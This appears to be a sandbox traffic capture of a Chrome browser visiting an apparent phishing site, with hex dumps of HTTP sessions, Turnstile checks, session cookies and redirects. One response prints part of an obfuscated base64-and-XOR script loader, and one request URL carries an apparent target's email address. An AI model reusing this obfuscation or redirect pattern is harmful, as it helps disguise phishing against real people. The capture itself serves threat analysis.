m2tX+xO7Y6Orj390C7RcE5PHzG9PoIPga7/31GfADFwj+K/Qj/SAfMAwNIw0WN/PvGxgRGg8KNzYi/BkGGzwhChYFISkcKBFDJUNERilMNTUlXR1ML2BfVzhUOR45WkFcRjZGX087TS1AcmdSQHhNeE9tOWxNTWJMWExFU1hRZl5qi1Z6bI9mfnRtbW9jjHaGe3Vld2tucpSCl4V9iIZ6nIiqbZt7jo2Ofm2CopeWgq2GdHiZi56WoI+SnqWTvK
2024-04-16 19:40:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49769	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:02 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:40:02 UTC	386	IN	HTTP/1.1 400 Bad Request Date: Tue, 16 Apr 2024 19:40:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: XBQri8Qbs5QcuIonrbMLWA==$QDRHnhORecs0AxJpqwDsqw== Server: cloudflare CF-RAY: 8756a5162b32ada7-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:40:02 UTC	12	IN	Data Raw: 37 0d 0a 69 6e 76 61 6c 69 64 0d 0a Data Ascii: 7invalid
2024-04-16 19:40:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49768	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:02 UTC	1408	OUT	POST /vbhBwfSdFwHEANiXnMfcwIszde HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive Content-Length: 1287 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryekFFvExnAEE6Qj9I Accept: / Origin: https://qnh3b.putimp.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qnh3b.putimp.com/yo0z/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhvZWRnRndkamd5MXdpamxNaU9QbEE9PSIsInZhbHVlIjoiQnJqRTZTVHRMZGdrbVRydlVFYkY1d1NONmNkM0FlQlhOajg5ZGt6azlzZ2hNUERmc3Q1QkdsbVpuTE50R0dsRjB5d3lydm1mOEFzMVBKSXJTVCtYNExQREw0R3JmN01xeDN3SzhKNEsvM0FsNGdWMUwxNlM1MHo5blVSNjkrZVEiLCJtYWMiOiJkNmMwYWZmNDhkNTc0ZWQyMmIyZWFlMDAxNTVjNjgxZDU3YjI2OWEyNTI3N2VkOTVjODQzNjNjZjIyM2MzMzUxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdFMVRWRVNxWG1PUHR4UWJNc3dqWEE9PSIsInZhbHVlIjoiMnF1V2lrMEFPem5qY0JZN1ZxaGhIc3VkRXlqQWZGT0x5R3RCNnU5b3ZMdmlNb2dXQjV1ZnQ4ZmRKcGx6bnFHVVNXdGV3b1NTdGhCaXNhMUp2V3diZHUvQ3hEWitkcGFmbDRWamFJL0VINjJlOUlCRnhTaitXMVB5b1YrY1lMcmgiLCJtYWMiOiI5ZDM1ZTI2MjJmNTg5OTU2ZmJkZDFlNTE2ODMxMDhjM2Q4YWI0ODRiZTM3NmI1ODUwMDY5ZjNmMmM5MTY0Y2U3IiwidGFnIjoiIn0%3D
2024-04-16 19:40:02 UTC	1287	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 65 6b 46 46 76 45 78 6e 41 45 45 36 51 6a 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 4d 67 6d 42 52 65 48 70 57 43 75 74 54 73 7a 66 68 67 33 58 37 48 76 5a 62 79 4b 31 77 4f 76 65 47 76 51 72 55 65 67 47 5f 73 33 37 74 33 4a 63 41 30 6d 59 63 4c 33 50 73 76 4a 32 53 73 6c 41 56 6a 36 72 34 48 6d 73 5f 38 4d 68 37 46 45 52 38 6c 44 73 4d 62 38 36 7a 36 54 4c 34 44 54 75 34 77 47 35 52 6a 6e 72 45 67 6f 64 6e 46 75 2d 32 35 4c 37 6c 75 59 77 71 4e 42 66 55 52 75 79 31 32 45 46 54 5f 78 66 54 59 52 6f 62 49 39 59 41 63 71 Data Ascii: ------WebKitFormBoundaryekFFvExnAEE6Qj9IContent-Disposition: form-data; name="cf-turnstile-response"0.MgmBReHpWCutTszfhg3X7HvZbyK1wOveGvQrUegG_s37t3JcA0mYcL3PsvJ2SslAVj6r4Hms_8Mh7FER8lDsMb86z6TL4DTu4wG5RjnrEgodnFu-25L7luYwqNBfURuy12EFT_xfTYRobI9YAcq
2024-04-16 19:40:04 UTC	1101	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IbfKW9%2FA0J1fe6Bi8PlCitXQHy18NnYuW2mhIXzTymUQh0lNYECNd%2FIn%2FDrbhydOje4JZmXS3p%2B3qYRQ21tGzzJJDP4z%2BRMDRQ1bqxBAXIOBuERNOCv%2BrNaETY0sQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBRc2RJVUtTeGhFaWg4RytlQnRGNFE9PSIsInZhbHVlIjoiRmFpNjliazJ6L3Zxd01SZk9jcVd5L21WZ1Q2MGwyTTM2b0JmNkI2b0l4UkZpNklVd090UGlEOExzbUZFanJqeUY2SkJwSUxoN3pvRHpoa3BxSmM5OGxvc2hUTVdIM095VjQvQzltSk1VTm40NFpBTktxQ0M0R3BrczMzcHRtZWMiLCJtYWMiOiIxY2YwMGIxYTJiMzIwMWJmMzk2MWMyMjYxNTJmNmFmNGVmZmQ1YTRiM2VhZjdjMWI5ODcyNjE4ZWFlMDRiYjgwIiwidGFnIjoiIn0%3D; expires=Tue, 16-Apr-2024 21:40:04 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-16 19:40:04 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 52 4a 64 45 39 50 51 69 74 48 5a 6c 6c 69 63 6b 59 79 62 6b 39 57 63 56 68 4f 51 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 48 64 56 64 6a 5a 46 61 33 56 6b 56 56 46 46 4e 69 38 31 55 6d 6c 4a 61 45 70 31 64 30 78 42 5a 48 5a 34 4e 54 4a 57 4e 55 74 52 64 6d 5a 48 4d 32 56 35 4d 6c 52 5a 59 56 68 33 65 45 39 45 55 7a 52 4d 61 6b 4e 4c 54 47 68 50 56 7a 64 6c 64 6a 56 5a 5a 48 46 75 51 55 6c 71 54 6a 5a 4e 4d 46 63 34 4d 6d 6c 50 59 53 39 42 56 58 64 4d 54 45 49 78 55 54 51 31 4c 30 59 7a 56 53 39 55 5a 6a 4a 78 53 54 4a 43 55 33 70 52 61 47 46 47 4e 55 46 79 64 33 52 35 52 48 42 45 56 6b 38 7a 56 47 68 48 4d 43 74 4b 53 33 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkRJdE9PQitHZllickYybk9WcVhOQkE9PSIsInZhbHVlIjoiWHdVdjZFa3VkVVFFNi81UmlJaEp1d0xBZHZ4NTJWNUtRdmZHM2V5MlRZYVh3eE9EUzRMakNLTGhPVzdldjVZZHFuQUlqTjZNMFc4MmlPYS9BVXdMTEIxUTQ1L0YzVS9UZjJxSTJCU3pRaGFGNUFyd3R5RHBEVk8zVGhHMCtKS3Y
2024-04-16 19:40:04 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2024-04-16 19:40:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49771	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:04 UTC	1461	OUT	GET /yo0z/ HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://qnh3b.putimp.com/yo0z/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBRc2RJVUtTeGhFaWg4RytlQnRGNFE9PSIsInZhbHVlIjoiRmFpNjliazJ6L3Zxd01SZk9jcVd5L21WZ1Q2MGwyTTM2b0JmNkI2b0l4UkZpNklVd090UGlEOExzbUZFanJqeUY2SkJwSUxoN3pvRHpoa3BxSmM5OGxvc2hUTVdIM095VjQvQzltSk1VTm40NFpBTktxQ0M0R3BrczMzcHRtZWMiLCJtYWMiOiIxY2YwMGIxYTJiMzIwMWJmMzk2MWMyMjYxNTJmNmFmNGVmZmQ1YTRiM2VhZjdjMWI5ODcyNjE4ZWFlMDRiYjgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRJdE9PQitHZllickYybk9WcVhOQkE9PSIsInZhbHVlIjoiWHdVdjZFa3VkVVFFNi81UmlJaEp1d0xBZHZ4NTJWNUtRdmZHM2V5MlRZYVh3eE9EUzRMakNLTGhPVzdldjVZZHFuQUlqTjZNMFc4MmlPYS9BVXdMTEIxUTQ1L0YzVS9UZjJxSTJCU3pRaGFGNUFyd3R5RHBEVk8zVGhHMCtKS3YiLCJtYWMiOiIxMTBlZmQ4ZjZlYjU4OTQzOTIxOGFjNDZkYmY5MzVhNTBkNDEyYWMwNzhlYmI5YWIzMmFmMDgwZDlkNmI5MzhhIiwidGFnIjoiIn0%3D
2024-04-16 19:40:06 UTC	1122	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w5Gc0aS0Eaa0PZUpP8vcX03exnJ6gQwzOZyhTUO3K4lUKyzLswe7hJlWXHIV9FpaLuu34e3qlVJ2fxHMz%2F2w8qYFqcWA1MacFDqcoBqeO15XDJayTrAXBk3AmISpag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6ImZXaFQxY1BwUmdkOWtJRTJ6RVNmQWc9PSIsInZhbHVlIjoiQWhobzc1RFNQMDVzUjV0NlNGUDViZ2lXYzJ3a3Z5KzNHMTFiUzlzK2hWWThxcWpRclZPU2NWdThmcEw1Tlp3akFZL3Bjbmh6cDQyNEFhT3NIRVh0bE90b01ZbjF0bjJxek5hTTdUdHNadSsrb1pWQ1N0N0pvZTM0ZEhLbEE3VVEiLCJtYWMiOiJkNDg3MjdjZmM0MjM3YjQ2YjcwZTJiMGMyYjA0ZTQ0NDc2ZjczMDE3MmM4YjQ4Njk5NWRkZDI2NjY4OTFiZTFiIiwidGFnIjoiIn0%3D; expires=Tue, 16-Apr-2024 21:40:06 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-16 19:40:06 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 38 72 65 44 68 54 4b 30 68 36 52 6e 56 79 65 57 70 54 5a 6e 4e 68 56 6b 35 4d 5a 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 57 74 73 5a 44 42 36 4e 32 4a 36 56 44 52 77 4e 6a 4e 68 56 6d 70 6a 51 57 46 61 51 55 78 72 5a 45 55 78 53 55 4a 45 54 45 5a 44 54 33 41 31 56 7a 46 4e 56 56 6f 76 65 6a 5a 6d 59 57 73 31 57 46 4e 30 53 6d 4d 7a 63 32 4a 6a 52 6a 52 50 4d 7a 52 55 64 44 64 55 64 47 52 53 4d 56 6c 4b 57 47 78 47 53 6b 70 53 4f 48 70 61 64 45 30 31 64 48 6b 77 55 46 64 30 55 6b 4a 58 4d 44 46 7a 5a 6d 6c 56 63 7a 68 6f 5a 79 74 6e 52 7a 42 50 51 56 46 53 53 31 6c 6b 5a 56 63 35 53 6d 4d 72 61 44 52 76 4c 7a 52 6c 63 58 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im8reDhTK0h6RnVyeWpTZnNhVk5MZnc9PSIsInZhbHVlIjoiZWtsZDB6N2J6VDRwNjNhVmpjQWFaQUxrZEUxSUJETEZDT3A1VzFNVVovejZmYWs1WFN0SmMzc2JjRjRPMzRUdDdUdGRSMVlKWGxGSkpSOHpadE01dHkwUFd0UkJXMDFzZmlVczhoZytnRzBPQVFSS1lkZVc5SmMraDRvLzRlcXY
2024-04-16 19:40:06 UTC	1369	IN	Data Raw: 37 31 34 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 6a 4b 64 56 4b 48 77 58 79 67 28 6f 79 74 4e 70 47 4f 47 56 4a 2c 20 4a 67 4d 70 75 79 59 4d 4d 69 29 20 7b 0d 0a 6c 65 74 20 61 41 55 65 6e 58 72 6b 79 4e 20 3d 20 27 27 3b 0d 0a 6f 79 74 4e 70 47 4f 47 56 4a 20 3d 20 61 74 6f 62 28 6f 79 74 4e 70 47 4f 47 56 4a 29 3b 0d 0a 6c 65 74 20 56 77 78 67 71 4e 55 41 57 74 20 3d 20 4a 67 4d 70 75 79 59 4d 4d 69 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 6f 79 74 4e 70 47 4f 47 56 4a 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 61 41 55 65 6e 58 72 6b 79 4e 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6f 79 74 4e 70 47 4f 47 56 4a 2e 63 68 61 72 43 6f Data Ascii: 714<script>function jKdVKHwXyg(oytNpGOGVJ, JgMpuyYMMi) {let aAUenXrkyN = '';oytNpGOGVJ = atob(oytNpGOGVJ);let VwxgqNUAWt = JgMpuyYMMi.length;for (let i = 0; i < oytNpGOGVJ.length; i++) { aAUenXrkyN += String.fromCharCode(oytNpGOGVJ.charCo
2024-04-16 19:40:06 UTC	450	IN	Data Raw: 4c 69 73 6a 58 6c 30 77 51 51 63 37 62 6d 4a 76 43 69 78 48 66 78 67 35 65 41 59 57 4a 6e 77 4b 63 58 78 76 56 48 35 2f 59 32 6f 4d 57 32 78 2f 62 67 56 2b 50 41 78 71 43 30 41 64 61 47 67 66 59 57 6f 77 62 6e 35 5a 45 43 31 4a 52 41 67 6f 4f 43 73 39 4c 52 6b 4b 42 54 6c 6f 53 30 64 6e 63 56 41 51 4f 46 4e 4d 41 79 41 6f 50 69 49 49 57 67 6c 69 48 58 4e 37 63 47 63 2f 42 56 77 39 48 42 39 65 54 47 31 6e 63 56 42 48 4f 46 73 41 50 44 46 6a 4b 7a 34 54 55 53 56 63 43 7a 31 6f 4a 54 55 30 46 68 42 73 46 52 4d 36 4b 43 6b 6f 4a 6c 35 63 50 6c 59 46 4a 79 38 69 4b 58 38 41 55 53 56 64 43 6a 49 72 4b 48 78 63 65 68 42 78 46 55 51 75 53 30 64 6e 63 56 41 51 4f 46 4e 4d 41 79 41 6f 50 69 49 49 57 67 6c 69 48 58 4e 6e 63 48 70 78 48 6b 55 39 57 55 30 6f 53 30 64 Data Ascii: LisjXl0wQQc7bmJvCixHfxg5eAYWJnwKcXxvVH5/Y2oMW2x/bgV+PAxqC0AdaGgfYWowbn5ZEC1JRAgoOCs9LRkKBTloS0dncVAQOFNMAyAoPiIIWgliHXN7cGc/BVw9HB9eTG1ncVBHOFsAPDFjKz4TUSVcCz1oJTU0FhBsFRM6KCkoJl5cPlYFJy8iKX8AUSVdCjIrKHxcehBxFUQuS0dncVAQOFNMAyAoPiIIWgliHXNncHpxHkU9WU0oS0d
2024-04-16 19:40:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49772	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:05 UTC	1089	OUT	GET /vbhBwfSdFwHEANiXnMfcwIszde HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBRc2RJVUtTeGhFaWg4RytlQnRGNFE9PSIsInZhbHVlIjoiRmFpNjliazJ6L3Zxd01SZk9jcVd5L21WZ1Q2MGwyTTM2b0JmNkI2b0l4UkZpNklVd090UGlEOExzbUZFanJqeUY2SkJwSUxoN3pvRHpoa3BxSmM5OGxvc2hUTVdIM095VjQvQzltSk1VTm40NFpBTktxQ0M0R3BrczMzcHRtZWMiLCJtYWMiOiIxY2YwMGIxYTJiMzIwMWJmMzk2MWMyMjYxNTJmNmFmNGVmZmQ1YTRiM2VhZjdjMWI5ODcyNjE4ZWFlMDRiYjgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRJdE9PQitHZllickYybk9WcVhOQkE9PSIsInZhbHVlIjoiWHdVdjZFa3VkVVFFNi81UmlJaEp1d0xBZHZ4NTJWNUtRdmZHM2V5MlRZYVh3eE9EUzRMakNLTGhPVzdldjVZZHFuQUlqTjZNMFc4MmlPYS9BVXdMTEIxUTQ1L0YzVS9UZjJxSTJCU3pRaGFGNUFyd3R5RHBEVk8zVGhHMCtKS3YiLCJtYWMiOiIxMTBlZmQ4ZjZlYjU4OTQzOTIxOGFjNDZkYmY5MzVhNTBkNDEyYWMwNzhlYmI5YWIzMmFmMDgwZDlkNmI5MzhhIiwidGFnIjoiIn0%3D
2024-04-16 19:40:05 UTC	677	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Apr 2024 19:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kkUIZ9bsufyLtrrimDpyWR5wOw76t4XCt61%2FNAyRCRCmrP4vuKZYyPZGzKYqVEXZZOEBAH4TFuNdca%2B%2FXOEsZh0MaqMRMU58XW4MOVDZG8k0ckVBD9BspjUjxj9TMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a524891944d6-ATL
2024-04-16 19:40:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49770	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:06 UTC	1452	OUT	GET /yo0z/?dMtransportforum@stanstedairport.com HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://qnh3b.putimp.com/yo0z/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImZXaFQxY1BwUmdkOWtJRTJ6RVNmQWc9PSIsInZhbHVlIjoiQWhobzc1RFNQMDVzUjV0NlNGUDViZ2lXYzJ3a3Z5KzNHMTFiUzlzK2hWWThxcWpRclZPU2NWdThmcEw1Tlp3akFZL3Bjbmh6cDQyNEFhT3NIRVh0bE90b01ZbjF0bjJxek5hTTdUdHNadSsrb1pWQ1N0N0pvZTM0ZEhLbEE3VVEiLCJtYWMiOiJkNDg3MjdjZmM0MjM3YjQ2YjcwZTJiMGMyYjA0ZTQ0NDc2ZjczMDE3MmM4YjQ4Njk5NWRkZDI2NjY4OTFiZTFiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im8reDhTK0h6RnVyeWpTZnNhVk5MZnc9PSIsInZhbHVlIjoiZWtsZDB6N2J6VDRwNjNhVmpjQWFaQUxrZEUxSUJETEZDT3A1VzFNVVovejZmYWs1WFN0SmMzc2JjRjRPMzRUdDdUdGRSMVlKWGxGSkpSOHpadE01dHkwUFd0UkJXMDFzZmlVczhoZytnRzBPQVFSS1lkZVc5SmMraDRvLzRlcXYiLCJtYWMiOiI2MTE2MDRiZDI2MTBjOGNmYzVhZDM2OWU5ZmU0NmM2YmE1NjVmZjllYmU5OTMwOTI3MmNiNWUyMzA0NmNlZmY1IiwidGFnIjoiIn0%3D
2024-04-16 19:40:07 UTC	1265	IN	HTTP/1.1 302 Found Date: Tue, 16 Apr 2024 19:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Location: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f3o5Xkgj84bjWk4FzQthyxKByyi8xHDpLqWAL%2BnrVwmJs02Q5aHkX9CE2PzUMO6n7X5QkpOi%2Ba4lcQpnGSqGcVcETX1MO%2FA3AsAQ38HcRMO7m1xlhWzlDEv2Tl11wA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IkpIL2VNMUhnVmVaNmhla01GN3p4V1E9PSIsInZhbHVlIjoiaVhXM1JUQ0hhNEc4aHVqVmx5TjhBUUd0YmxVQnh6ekQ0NElKTTI2SWVGMjhQNUJ4STcwK0VmSVlnRmpBb21KQnFOa3d3QTltU3BMMHRFK1dVa1ZaREVDTFl2Nm14c2F0Rkk1SFVQTFhKRnZUdmVDTkI2TWI2MFVZWWFRU05rYngiLCJtYWMiOiJmZjQ1ZTkyODVjMjUzN2FlN2JiNWEyNTc2Yzg3NTRhZGJkNWMzYjQyZWE4YjY4Nzc5OThkNWIzYmQzODhlODA1IiwidGFnIjoiIn0%3D; expires=Tue, 16-Apr-2024 21:40:07 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-16 19:40:07 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 56 53 65 45 6f 33 55 58 4a 43 52 47 39 77 52 53 73 30 65 6d 64 55 63 6c 46 6e 56 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 56 42 57 51 31 70 58 57 47 31 54 62 45 52 51 61 57 64 33 4d 6b 56 6c 5a 45 4e 51 65 46 4e 30 57 48 67 34 52 30 74 57 52 54 64 79 51 57 51 7a 51 55 34 72 64 48 6c 6d 5a 57 39 54 57 6d 4a 56 56 46 41 72 64 45 35 7a 4d 44 49 34 61 47 64 34 57 48 6c 4e 52 56 4a 74 55 48 6c 52 59 31 4e 59 62 31 59 33 63 7a 67 30 54 7a 64 6c 63 30 6c 61 63 6d 5a 44 65 57 64 6f 4b 33 6c 6f 61 30 6c 5a 54 55 35 6e 59 6a 55 79 56 58 64 4b 4f 58 4e 6c 65 57 4e 53 51 6d 64 58 5a 57 6c 44 4e 6d 46 4b 55 46 51 79 51 31 51 32 55 31 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImVSeEo3UXJCRG9wRSs0emdUclFnVHc9PSIsInZhbHVlIjoicVBWQ1pXWG1TbERQaWd3MkVlZENQeFN0WHg4R0tWRTdyQWQzQU4rdHlmZW9TWmJVVFArdE5zMDI4aGd4WHlNRVJtUHlRY1NYb1Y3czg0Tzdlc0lacmZDeWdoK3loa0lZTU5nYjUyVXdKOXNleWNSQmdXZWlDNmFKUFQyQ1Q2U1E
2024-04-16 19:40:07 UTC	841	IN	Data Raw: 33 34 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 71 6e 68 33 62 2e 70 75 74 69 6d 70 2e 63 6f 6d 2f 32 30 36 39 38 39 32 38 34 38 36 32 34 35 34 39 37 36 33 63 62 61 75 59 42 62 48 45 4c 4a 59 49 42 44 55 42 56 48 46 41 46 57 5a 4d 4f 5a 49 59 4a 55 45 57 54 45 3f 6a 64 69 6a 56 47 4a 7a 44 4f 6f 4e 53 6c 74 6f 73 69 65 53 4b 64 4a 4c 42 45 46 45 48 4c 4b 55 55 41 54 56 4e 4d 4c 56 57 50 51 57 59 41 4f 5a 4c 56 44 41 Data Ascii: 342<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDA
